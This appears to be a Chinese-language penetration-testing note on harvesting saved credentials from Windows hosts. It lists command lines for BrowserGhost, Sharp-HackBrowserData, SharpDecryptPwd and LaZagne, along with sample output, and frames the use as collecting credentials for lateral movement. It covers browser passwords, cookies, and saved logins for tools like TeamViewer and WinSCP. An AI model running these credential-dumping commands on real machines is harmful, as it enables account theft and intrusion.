

# 浏览器、数据库等其他密码的抓取

## BrowserGhost浏览器抓取

这是一个抓取浏览器密码的工具，后续会添加更多功能，已经完成的功能如下：

实现system抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)

用.net2 实现可兼容大部分windows，并去掉依赖(不需要System.Data.SQLite.dll这些累赘)

可以解密chrome全版本密码(chrome80版本后加密方式变了)

Chrome已经可以获取login data、cookie、history、book了

命令：BrowserGhost.exe

```
C:\Users\Anonymous\Desktop>BrowserGhost.exe
[+] Current user Anonymous
[+] [5284] [explorer] [Anonymous]
[+] Impersonate user Anonymous
[+] Current user Anonymous

未处理的异常: System.IO.DirectoryNotFoundException: 未能找到路径“C:\Users\Anonymous\AppData\Local\Google\Chrome\User D
ta\Default\Login Data”的一部分。
在 System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
在 System.IO.File.InternalCopy(String sourceFileName, String destFileName, Boolean overwrite)
在 BrowserGhost.Program.Main(String[] args)
```

## Sharp-HackBrowserData浏览器

Sharp-HackBrowserData，谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓

命令：Sharp-HackBrowserData.exe

```
C:\Users\Anonymous\Desktop>Sharp-HackBrowserData.exe
[]
cmd.go:53: error open C:\Users\Anonymous\AppData\Local\Microsoft\Edge\User Data\Local State: The system cannot find the
path specified.
browser.go:132: error Microsoft Edge find password file failed, ERR:find Login Data failed
browser.go:132: error Microsoft Edge find bookmark file failed, ERR:find Bookmarks failed
browser.go:132: error Microsoft Edge find cookie file failed, ERR:find Cookies failed
browser.go:132: error Microsoft Edge find history file failed, ERR:find History failed
cmd.go:53: error open C:\Users\Anonymous\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State: The system can
not find the path specified.
```

名称	修改日期	类型	大
 firefox_bookmark.csv	2022/7/20 17:01	Microsoft Excel 逗...	
 firefox_cookie.csv	2022/7/20 17:01	Microsoft Excel 逗...	
 firefox_history.csv	2022/7/20 17:01	Microsoft Excel 逗...	
 firefox_password.csv	2022/7/20 17:01	Microsoft Excel 逗...	
 microsoft_edge_history.csv	2022/7/20 17:01	Microsoft Excel 逗...	
 microsoft_edge_password.csv	2022/7/20 17:01	Microsoft Excel 逗...	

## SharpDecryptPwd数据库

SharpDecryptPwd-master对密码已保存在 Windwos 系统上的部分程序进行解析,包 Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品

```
SharpDecryptPwd.exe -TeamViewer
SharpDecryptPwd.exe -FileZilla
SharpDecryptPwd.exe -WinSCP
SharpDecryptPwd.exe -Xmangager -p Session_Path
```

```
C:\Users\█████\Desktop\tools>SharpDecryptPwd.exe

Author: Uknow
Github: https://github.com/uknowsec/SharpDecryptPwd

Usage: SharpDecryptPwd.exe -NavicatCrypto
SharpDecryptPwd.exe -TeamViewer
SharpDecryptPwd.exe -FileZilla
SharpDecryptPwd.exe -WinSCP
SharpDecryptPwd.exe -Xmangager -p Session_Path (-s UserSid)
SharpDecryptPwd.exe -Browser

C:\Users\█████\Desktop\tools>_
```

## LaZagne各类密码

是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术（明文、API、自定义算法、数据库等）存储其密码。开发此工具的目的是为最常用的软件查找这些密码。

命令：laZagne.exe all

```
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox
laZagne.exe all -oN
laZagne.exe all -oA -output C:\Users\test\Desktop
laZagne.exe -h
laZagne.exe browsers -h
laZagne.exe all -vv
laZagne.exe all -quiet -oA
```

```
C:\Users\Anonymous\Desktop>lazagne.exe all
```

```
=====
The LaZagne Project
```
